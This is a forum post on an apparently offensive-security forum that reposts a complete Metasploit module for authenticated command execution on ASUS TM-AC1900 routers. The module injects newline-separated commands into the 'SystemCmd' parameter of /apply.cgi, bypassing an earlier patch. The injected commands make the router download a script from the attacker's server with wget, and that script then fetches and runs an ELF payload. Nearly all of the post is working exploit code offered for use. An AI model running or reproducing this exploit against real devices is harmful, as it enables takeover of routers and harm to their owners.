Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

ASUS TM-AC1900 - Arbitrary Command Execution (Metasploit)

 Share


Recommended Posts

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
  
    def initialize(info = {})
      super(update_info(info,
        'Name'           => 'ASUS TM-AC1900 - Arbitrary Command Execution',
        'Description'    => %q{
          This module exploits a code execution vulnerability within the ASUS 
          TM-AC1900 router as an authenicated user. The vulnerability is due to 
          a failure filter out percent encoded newline characters (%0a) within 
          the HTTP argument 'SystemCmd' when invoking "/apply.cgi" which bypasses 
          the patch for CVE-2018-9285.
   
        },
        'Author'         =>
          [
            'b1ack0wl' # vuln discovery + exploit developer
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'linux',
        'Arch'           => ARCH_ARMLE,
        'References'     =>
          [
            # CVE which shows that this functionality has been patched before ;)
            ['URL', 'https://www.cvedetails.com/cve/CVE-2018-9285/'],
            ['URL', 'https://github.com/b1ack0wl/OffensiveCon20/tree/master/TM-AC1900']
          ],
        'Privileged'     => true,
        'Targets'        =>
          [
            # this may work on other asus routers as well, but I've only tested this on the TM-AC1900.
            [ 'ASUS TM-AC1900 <= v3.0.0.4.376_3199',
              {}
            ]
          ],
        'DisclosureDate' => 'April 18, 2020',
        'DefaultTarget' => 0))
      register_options(
          [
            OptString.new('USERNAME', [true, 'Username for the web portal.', 'admin']),
            OptString.new('PASSWORD', [true, 'Password for the web portal.', 'admin'])
          ])
    end
  
    def check_login
      begin
        res = send_request_cgi({
          'method'  => 'GET',
          'uri'     => "/Main_Analysis_Content.asp",
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
        if res and res.code == 200
          # all good :)
          return res
        else
          fail_with(Failure::NoAccess, 'Invalid password.')
        end
      rescue ::Rex::ConnectionError
          fail_with(Failure::Unreachable, 'Connection failed.')
      end
    end
  
    def on_request_uri(cli, request)
      if request.uri == '/'
        # injected command has been executed
        print_good("Sending bash script...")
        @filename = rand_text_alpha(16)
        bash_script = %Q|
        #!/bin/sh
        wget #{@lhost_srvport}/#{rand_text_alpha(16)} -O /tmp/#{@filename}
        chmod +x /tmp/#{@filename}
        /tmp/#{@filename} &
        |
        send_response(cli, bash_script)
      else
        # bash script has been executed. serve up the ELF file
        exe_payload = generate_payload_exe()
        print_good("Sending ELF file...")
        send_response(cli, exe_payload)
        # clean up
        register_file_for_cleanup("/tmp/index.html")
        register_file_for_cleanup("/tmp/#{@filename}")
      end
    end
  
    def exploit
      # make sure the supplied password is correct
      check_login
      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = datastore['LHOST']
      else
       srv_host = datastore['SRVHOST']
      end
      print_status("Exploiting #{target.name}...")
      @lhost_srvport = "#{srv_host}:#{datastore['SRVPORT']}"
      start_service({'Uri' => {'Proc' => Proc.new { 
        |cli, req| on_request_uri(cli, req)
        },
          'Path' => '/'
      }})
      begin
        # store the cmd to be executed
        cmd =  "ping+-c+1+127.0.0.1;cd+..;cd+..;cd+tmp;rm+index.html;"
        cmd << "wget+#{@lhost_srvport};chmod+777+index.html;sh+index.html"
        res = send_request_cgi({
          'method'        => 'GET',
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
          # spaces need to be '+' and not %20, so cheap hack.exe it is.
          # required HTTP args: SystemCmd, action_mode, and current_page
          'uri'           => "/apply.cgi?SystemCmd=#{cmd.gsub(';',"%0a")}&action_mode=+Refresh+&current_page=Main_Analysis_Content.asp"
        })
        # now trigger it via check_login
        res = check_login
        if res and res.code == 200
          print_status("Waiting up to 10 seconds for the payload to execute...")
          select(nil, nil, nil, 10)
        end
      rescue ::Rex::ConnectionError
        fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
      end
    end
  end
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...